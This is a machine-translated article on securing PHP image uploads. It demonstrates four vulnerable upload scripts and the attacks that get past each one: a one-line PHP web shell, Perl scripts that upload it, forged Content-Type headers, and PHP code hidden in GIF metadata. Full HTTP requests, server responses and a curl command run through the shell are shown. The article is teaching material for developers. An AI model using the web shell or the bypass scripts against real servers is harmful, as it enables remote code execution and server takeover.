📜 ⬆️ ⬇️

Secure upload images to the server. Part one

This article demonstrates the main web application vulnerabilities in downloading files to the server and ways to avoid them. The article presents the basics, in vryat whether it will be of interest to professionals. But the less - every PHP developer should know this.

Various web applications allow users to upload files. Forums allow users to upload avatars. Photo galleries allow you to upload photos. Social networks provide opportunities for uploading images, videos, etc. Blogs allow you to upload avatars and / or images again.

Often, downloading files without ensuring proper security controls leads to the formation of vulnerabilities, which, as practice shows, have become a real problem in PHP web applications.
')
Tests conducted showed that many web applications have many security problems. These “holes” provide attackers with ample opportunities to perform unauthorized actions, starting with viewing any file on the server and uploading the execution of arbitrary code. This article talks about the main security holes and how to avoid them.

The code for the examples in this article can be downloaded at:
www.scanit.be/uploads/php-file-upload-examples.zip .

If you want to use them, please make sure that the server you are using is not accessible from the Internet or any other public networks. The examples demonstrate various vulnerabilities, which execution on an externally accessible server can lead to dangerous consequences.

Regular file upload

Uploading files usually consists of two independent functions — accepting files from the user and displaying files to the user. Both parts can be a source of vulnerabilities. Let's look at the following code (upload1.php):

<?php
$uploaddir = 'uploads/' ; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);

if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>

* This source code was highlighted with Source Code Highlighter .


Usually users will upload files using a similar form:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload: < input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >
</ form >


* This source code was highlighted with Source Code Highlighter .


The attacker will not use this form. He can write a small Perl script (possibly in any language - note of the translator) , which will emulate the user's actions on downloading files in order to change the sent data at his discretion.

In this case, the download contains a big security hole: upload1.php allows users to upload arbitrary files to the root of the site. An attacker can download a PHP file that allows you to execute arbitrary shell commands on the server with the privilege of the web server process. Such a script is called PHP-Shell. Here is the simplest example of such a script:

<?php
system($_GET['command']);
?>


If this script is located on the server, then you can execute any command via the query:
server / shell.php? command = any_Unix_shell_command

More advanced PHP shell can be found on the Internet. They can load arbitrary files, execute SQL queries, etc.

The Perl source shown below loads PHP-Shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;
$res = $ua->request(POST 'http://localhost/upload1.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "shell.php" , "shell.php" ],],);

print $res->as_string();

* This source code was highlighted with Source Code Highlighter .


This script uses libwwwperl , which is a convenient Perl library that emulates an HTTP client.

And that's what happens when you run this script:

Request:
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY—

Answer:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After we loaded the shell script, you can safely execute the command:

$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is an HTTP command-line client available on Unix and Windows. This is a very useful tool for testing web applications. cURL can be downloaded from curl.haxx.se

Content-Type check

The above example is rarely the case. In most cases, programmers use simple checks to make users download files of a specific type. For example, using the Content-Type header:

Example 2 (upload2.php):

<?php
if ($_FILES[ 'userfile' ][ 'type' ] != "image/gif" ) {
echo "Sorry, we only allow uploading GIF images" ;
exit;
}
$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);

if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>


* This source code was highlighted with Source Code Highlighter .


In this case, if the attacker only tries to load shell.php, our code will check the MIME type of the downloaded file in the request and filter out the unnecessary.

Request:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

So far so good. Unfortunately, there is a way to bypass this protection, because the MIME type being checked comes with the request. In the request above, it is set to “text / plain” (it is set by the browser - comment of the translator) . Nothing prevents an attacker from installing it into image / gif, because using client emulation, he completely controls the request that he sends (upload2.pl):

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST 'http://localhost/upload2.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "shell.php" , "shell.php" , "Content-Type" => "image/gif" ],],);

print $res->as_string();


* This source code was highlighted with Source Code Highlighter .


And that's what happens.

Request:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—

Answer:
  HTTP / 1.1 200 OK 
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP / 4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text / html
File is valid, and was successfully uploaded.


As a result, our upload2.pl forges the Content-Type header, forcing the server to accept the file.

Checking the content of the image file

Instead of trusting the Content-Type header, the PHP developer could check the actual content of the uploaded file to make sure that it is indeed an image. The PHP getimagesize () function is often used for this. It takes the file name as an argument and returns an array of image size and type. Consider the upload3.php example below.

<?php
$imageinfo = getimagesize($_FILES[ 'userfile' ][ 'tmp_name' ]);
if ($imageinfo[ 'mime' ] != 'image/gif' && $imageinfo[ 'mime' ] != 'image/jpeg' ) {
echo "Sorry, we only accept GIF and JPEG images\n" ;
exit;
}

$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);

if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>


* This source code was highlighted with Source Code Highlighter .


Now, if the attacker tries to load shell.php, even if he sets the Content-Type header to “image / gif”, upload3.php will still generate an error.

Request:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

You might think that now we can rest assured that only GIF or JPEG files will be downloaded. Unfortunately, this is not the case. The file can be valid in the format of GIF or JPEG, and at the same time a PHP script. Most image formats allow you to add text metadata to an image. It is possible to create a completely correct image that contains some PHP code in this metadata. When getimagesize () looks at a file, it will interpret it as a valid GIF or JPEG. When the PHP translator looks at the file, it sees the executable PHP code in some binary garbage that will be ignored. A sample file called crocus.gif is contained in the example (see the beginning of the article). The similar image can be created in any graphic editor.

So, create a perl script to load our image:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST 'http://localhost/upload3.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "crocus.gif" , "crocus.php" , "Content-Type" => "image/gif" ], ],);

print $res->as_string();


* This source code was highlighted with Source Code Highlighter .


This code takes the crocus.gif file and loads it with the name crocus.php. Execution will result in the following:

Request:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...)
--xYzZY—

Answer:
  HTTP / 1.1 200 OK 
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP / 4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text / html
File is valid, and was successfully uploaded.


Now the attacker can uploads / crocus.php and get the following:

image

As you can see, the PHP translator ignores binary data at the beginning of the image and executes the "<? Phpinfo ()?>" Sequence in the GIF comment.

Check the extension of the file being downloaded

The reader of this article might wonder why we simply do not check the extension of the downloaded file? If we do not allow uploading * .php files, the server will never be able to execute this file as a script. Let's look at this approach.

We can blacklist the file extensions and check the name of the file being downloaded, ignoring the file upload with executable extensions (upload4.php):

<?php
$blacklist = array( ".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) {
if (preg_match( "/$item\$/i" , $_FILES[ 'userfile' ][ 'name' ])) {
echo "We do not allow uploading PHP files\n" ;
exit;
}
}

$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);

if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>

* This source code was highlighted with Source Code Highlighter .


The expression preg_match ("/ $ item \ $ / i", $ _FILES ['userfile'] ['name']) matches the name of the file defined by the user in the blacklist array. The “i” modifier says our expression is case-insensitive. If the file extension matches one of the items in the black list, the file will not be downloaded.

If we try to load a file with the .php extension, it will result in an error:

Request:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY—

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files

If we load a file with a .gif extension, it will be downloaded:

Request:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Answer:
  HTTP / 1.1 200 OK 
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP / 4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text / html
File is valid, and was successfully uploaded.


Now, if we request the uploaded file, it will not be executed by the server:

image

Translator Comments:
In the case of loading images, the best way is not to specify the actions, but to save the file with the extension, which is obtained as a result of the execution of the function getimagesize (). In most cases, this is exactly what happens. It is worth adding that it is desirable to make the conversion of the file to a specific format, for example jpeg. When casting, the metadata of the image (as far as I know) will be lost, providing almost guaranteed security.

The presence in the download of files with the .php extension should be checked at all at the beginning of the site, and if they are immediately discarded.

→ Second part

Source: https://habr.com/ru/post/44610/


All Articles